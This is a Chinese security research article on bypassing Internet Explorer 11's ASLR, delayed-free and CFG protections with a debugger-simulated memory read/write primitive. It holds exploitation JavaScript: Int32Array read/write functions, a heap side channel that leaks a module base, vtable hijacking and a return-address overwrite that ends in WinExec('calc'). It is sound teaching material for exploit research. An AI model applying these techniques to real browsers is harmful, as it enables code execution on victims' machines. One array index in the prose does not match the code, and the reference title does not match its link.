藉助讀寫原語繞過IE緩解技術
作者:dwfault@野火研習社
投稿方式:發送郵件至linwei#http://360.cn,或登陸網頁版在線投稿
《IE瀏覽器緩解技術逆向初探》介紹了堆隔離、延遲釋放、控制流保護等緩解技術,這些緩解技術使漏洞利用難度大大增加。內存破壞型漏洞轉化成的內存讀寫能力在近年得到越來越多的重視,被總結為「R/W primitive」,國內一些研究者將其翻譯為「讀寫原語」,也就是對內存的局部或全局讀寫能力。
一、讀寫原語
讀寫原語的獲得過程取決於各個漏洞,獲得讀寫原語之後往往封裝一個Javascript函數,以供後續使用。形式可如下:
function rDword(address){nn… //value = [address];nnreturn value;nn}nnfunction wDword(address, value){nn… //[address] = value;nn}n
使用讀寫原語時採用如下形式的函數調用,可對進程內存空間進行讀、寫操作:
var a = rDword(0x00401000);nnwDword(0x102034a0, 0x123);n
二、讀寫原語對緩解技術的威脅
2.1 對ASLR的威脅
在內存空間中,通過堆塊中存儲的少量信息可以找到對象虛表的位置,進而確定模塊載入基址。載入模塊的各節區均可被讀出;攻擊者也可編寫Javascript代碼解析PE文件獲得更多關於模塊載入的信息,以此繞過模塊的隨機化保護。其形式如下:
var vftable = rDword(0x102034a0);nnvar moduleAddress = vftable – offset;n
2.2 對CFG的威脅
使用讀寫原語可以覆蓋棧幀返回地址劫持程序流程,這種方法不受CFG技術的保護。其形式如下:
var returnAddress = findReturnAddress(moduleStart, moduleEnd, esp);nnwDword(returnAddress, controlableCodeAddress);n
使用讀寫原語也可以控制內存中的對象以劫持程序流程。首先偽造虛表,然後修改虛表指針指向偽造的虛表,修改偽造的虛表中的某虛函數指針,在索引虛函數時程序流程可被劫持。形式如下:
var fakeVftable = initFakeVftable(obj);nnwDword(obj, fakeVftable);nnobj.vfunc1(fakeParameter);n
這種方法受CFG技術保護,但該緩解技術並非無法繞過。偽造的虛表中的特定虛函數可以被另一個可通過CFG檢查的合法函數代替。有研究員提出類似ROP的攻擊方法,理論上通過組合CFG gadget能夠達到執行任意代碼的效果。
三、模擬讀寫原語進行繞過嘗試
新型緩解技術促使攻擊者在漏洞利用時傾向獲得讀寫原語,下面的過程藉助調試器模擬漏洞以獲得模擬的讀寫原語,通過Javascript代碼在32 bit IE 11中繞過ASLR、延遲釋放、控制流保護等全部緩解技術的保護,使用WinExec(「calc」)代表任意代碼執行。
3.1 步驟一:模擬獲得讀寫原語
通過調試器獲得讀寫原語以進行後續工作。本步驟關注的核心對象是Int32Array,在代碼中對應的符號為TypedArray<int,0>。通過逆向分析可知其大小為0x30位元組,其結構如圖1:
圖1 Int32Array對象內存結構示意圖
Int32Array是一個泛型對象,它提供對RawBuffer的視圖,這個視圖允許用戶以32位有符號整型方式訪問RawBuffer中存儲的數據。藉助調試獲得讀寫原語所用代碼如下:
arr1 = new Int32Array(0x400);nnarr2 = new Int32Array(0x400);nnalert("Pause the debugger to modify the pRawBuffer. The value should point to the 2nd TypedArray<int,0> object.nSimulate a memory corruption vulnerability.");n
調試時,在jscript9!Js::TypedArray<int,0>::TypedArray<int,0> +0x3b(不同版本函數偏移有所不同)下斷點跟蹤arr1和arr2對象的內存分配,當窗口彈出時暫停調試器,修改arr1對象的pRawBuffer域為arr2對象的地址,使得通過arr1對象可以修改arr2對象的內存空間。於是有:
function rDword(address){nnarr1[8] = address;nnreturn arr2[0];nn}nnfunction wDword(address, value){nnarr1[8] = address;nnarr2[0] = value;nn}n
讀寫原語使攻擊者可以使用Javascript代碼讀寫進程內存,通過Int32Array的虛表指針可計算出jscript9.dll的載入基地址以及其它很多信息。
3.2 步驟二:繞過地址空間布局隨機化
在本步驟中,讀寫原語對ASLR的繞過扮演了次要角色;扮演主要角色的是MemoryProtection。在其他情況中,繞過ASLR的第一步通常是藉助信息泄漏漏洞。
之前的文章提到,由於IE的保守垃圾回收演算法,延遲釋放技術可導致ASLR被繞過;通過調試也可觀察到,在IE 11的某些版本中該保護是默認關閉的。為了展示MemoryProtection可被濫用以繞過ASLR,需要藉助調試器將該緩解技術設置為開啟狀態。所用調試命令為(不同版本函數偏移有所不同):
bp mshtml!MemoryProtection::InitializeProtectionFeature+0x7f "r eax=2"n
3.2.1 流程描述
本步驟主要參考自《Abusing Silent mitigations》【1】,大體流程是在高內存壓力的情況下用Javascript操作堆內存,設法將一個模塊載入到已知的內存地址。這裡選擇的模塊是wmp.dll。其流程如下:
分配大量內存,只留下兩個內存孔洞,A的大小與dll在內存中所佔大小相同;B的大小在A的一倍到二倍之間;A和B不能連續。
為查詢某地址X是否在A中,將其放置在棧上,然後有如下步驟:
- 分配一個略大於A的內存塊,該操作將內存塊填入B中;
- 釋放步驟a中的內存塊,B被加入MemoryProtection的等待列表;
- 分配一個大小等於A的內存塊,該操作將內存塊填入A中;
- 釋放步驟c中的內存塊,MemoryProtection會把B中的內存塊釋放並將B移出等待列表;A被加入MemoryProtection的等待列表;
- 分配一個略大於A的內存塊,該操作將內存塊填入B中;
- 釋放步驟e中的內存塊,MemoryProtection會檢查對A中內存塊的引用,此時只有X不指向A範圍內的條件下,A中的內存塊才被釋放;B被加入MemoryProtection的等待列表;
- 分配一個大小等於A的內存塊,如果A中堆塊未被釋放,操作將失敗,可以用Javascript捕獲該異常;
- 做清理工作,確保A、B被釋放,以供下次嘗試;
- 循環2~3步,直到A的起始地址被確定;
- 分配一個略大於A的內存塊,該操作將內存塊填入B中;
- 載入dll模塊,它會被載入進入A中,模塊載入地址被確定。
3.2.2 技術細節
從技術實現角度上看,必須有相應「工具」才能完成上述流程。這些「工具」需要從逆向分析的過程中獲得。實現上述流程需要具有的功能有:內存分配釋放、清理等待列表、載入模塊等。
內存分配和釋放主要依靠三種方法。安全研究員通過調試發現,下述DOM操作相關的Javascript函數調用可用來分配內存【1】:
arr.push(document.createTextNode(string));nnoDiv1.getElementsByClassName(string);nnwindow.ref = oDiv1.getElementsByClassName(string);n
第一種方法使用在內存準備階段,通過這樣的函數調用完成步驟1中的要求;第二種方法對應mshtml.dll中的CElement::Var_getElementsByClassName函數,可以用來申請內存空間,且由於沒有存儲函數返回值,該空間會直接被ProtectedFree釋放;第三種方法存儲函數的返回值,也就是保留了對其的引用,可用於把進程堆內存設置為確定的狀態。結合使用三種方法可以滿足整體流程對堆操作的要求。
代碼中實現了myCollectGarbage函數來實施清空等待列表的操作,該函數充分利用MemoryProtection的特徵來達到目的:
function myCollectGarbage() {nnvar i;nnvar j;nnvar ar;nnfor (j = 0; j < 100; j++) {nnCollectGarbage();nnar = [];nnfor (i = 0; i < 1000; i++) {nnar.push(new Object());nn}nnar = null;nnCollectGarbage();nn}nn}n
地址X的迭代過程需要調用testOneAddress函數:
testOneAddress = function(n) {nnlogMsg(0x100, "Starting testOneAddress");nntry {nnoDiv.getElementsByClassName(stringOfSizeA);nn}catch (e) {nnlogMsg(0x102, "FAILURE: Unable to fill hole A (first fill).");nntestResult = -1;nnreturn;nn}nnoDiv.getElementsByClassName(stringSmall);nntry {nnoDiv.getElementsByClassName(stringOfSizeA);nn}catch (e) {nnlogMsg(0x105, "Unable to fill hole A. Test result positive.");nntestResult = 1;nnreturn;nn}nntestResult = 0;nn};n
函數利用Javascript引擎內存分配失敗的異常實現側信道攻擊。前期準備時,進程內存空間幾乎被堆空間填充滿;前述的2-g步驟中嘗試分配堆塊,根據是否產生異常,可獲知堆塊分配成功還是失敗;多次調用testOneAddress函數以迭代X值,通過側信道攻擊,將布爾型信息泄漏轉換成整數型信息泄漏,也即獲得wmp.dll的載入地址。
為了實現載入wmp.dll,有如下代碼:
window.module1 = new ActiveXObject("WMPlayer.OCX.7");n
獲得wmp.dll載入的基地址之後,利用讀寫原語可以對wmp.dll進行讀操作可獲得大量信息。由於wmp.dll的導入表中一定包含kernel32.dll導出函數,本步驟可獲得kernel32.dll模塊中關鍵API如RtlCaptureContext、WinExec的載入地址。
3.3 步驟三:劫持程序流程
為了劫持程序執行流程,本步驟使用了兩種覆寫方式以完全繞過CFG技術的保護。第一次利用CFG保護的粗粒度的性質,覆寫對象虛表指針,然後調用CFG判定為合法的函數RtlCaptureContext獲得線程函數棧空間所在的位置;第二次利用CFG不保護棧空間的性質,在線程棧空間查找函數棧幀,覆寫其中的返回地址以達到流程的完全劫持。
3.3.1 查找線程棧空間位置
調用Windows API RtlCaptureContext的代碼如下:
function apiCallRtlCaptureContext(apiRtlCaptureContext, arr1,arr2,arr2backup){nnfor(var i=0;i<99;i++){nnvar temp = rDword(arr2backup[0] + i*4);nnarr2backupRestore(arr1, arr2backup);nnarr2[i] = temp;nn}nnarr2[0x7c/4] = apiRtlCaptureContext;nnarr1[0] = arr2backup[8];nnvar temp = arr2backup[8]+0x800;nntemp in arr2;nnarr2backupRestore(arr1, arr2backup);nnreturn arr2[551];nn}n
該函數除了使用rDword函數等已封裝的讀寫原語,還使用arr1、arr2進行了更複雜的內存讀寫操作。代碼邏輯如下:
- 複製Int32Array函數的虛表到arr2的內存空間作為偽造的虛表;
- 將偽造的虛表中偏移0x7c的虛函數指針修改為API RtlCaptureContext的入口地址;
- 修改arr2對象的虛表指針,使其指向arr2內存空間中偽造的虛表;
- 賦值temp為arr2空間的後半部分的任一地址,作為RtlCaptureContext函數的參數;
- 「temp in arr2″調用虛表偏移0x7c的虛函數Js::TypedArrayBase::HasItem【2】,但由於虛函數指針已被改寫,實際調用的是RtlCaptureContext;
- 返回arr2[251],該值由RtlCaptureContext寫入,內容為函數入口時ESP寄存器的值。
函數返回獲得的ESP寄存器的值可認為是某一時刻棧頂的值,增加一定偏移後可以定址到其他函數的棧幀。
3.3.2 覆寫返回地址
覆寫返回地址的代碼如下:
function apiCallExec(apiWinExec, esp){nnMath.atan(1);nnret = esp + 0x244;nndivOutput3.innerText +="n> Overwrite return address "nn+format(ret.toString(16), 8)+" : "+format(rDword(ret).toString(16),8)+".";nnwDword(ret+0x14, 0);nnwDword(ret+0x10, 0x636c6163);nnwDword(ret+0x0c, 5);nnwDword(ret+0x08, ret+0x10);nnwDword(ret+0x04, 0xdeadbeaf);nnwDword(ret+0x00, apiWinExec);nndivOutput3.innerText += "n> Executing WinExec("calc").";nnalert("should have calc.exe.");nn}n
該函數將上一步驟獲得的ESP寄存器的值加上適當偏移,使其恰好為某函數棧幀的返回地址。調試發現,偏移為0x244時可以覆寫到適當的位置。在實際中也可以根據前一步驟得到的jscript9.dll代碼段的範圍進行搜索,來決定覆寫的位置。最後,使用讀寫原語布置偽造的棧幀內容以劫持程序流程。如圖2所示,模擬的攻擊代碼最終成功執行了WinExec(「calc」):
圖2 成功執行Windows Calculator的截圖
實驗通過模擬的讀寫原語繞過了IE的緩解技術,具有代碼執行能力。
四、參考資料
【1】Abusing Silent mitigations. Abdul-Aziz Hariri, Simon Zuckerbraum, Brian Gorenc
https://improsec.com/blog/bypassing-control-flow-guard-in-windows-10
登錄 安全客 - 有思想的安全新媒體 了解更多
推薦閱讀:
TAG:网络安全 | 互联网 | InternetExplorer |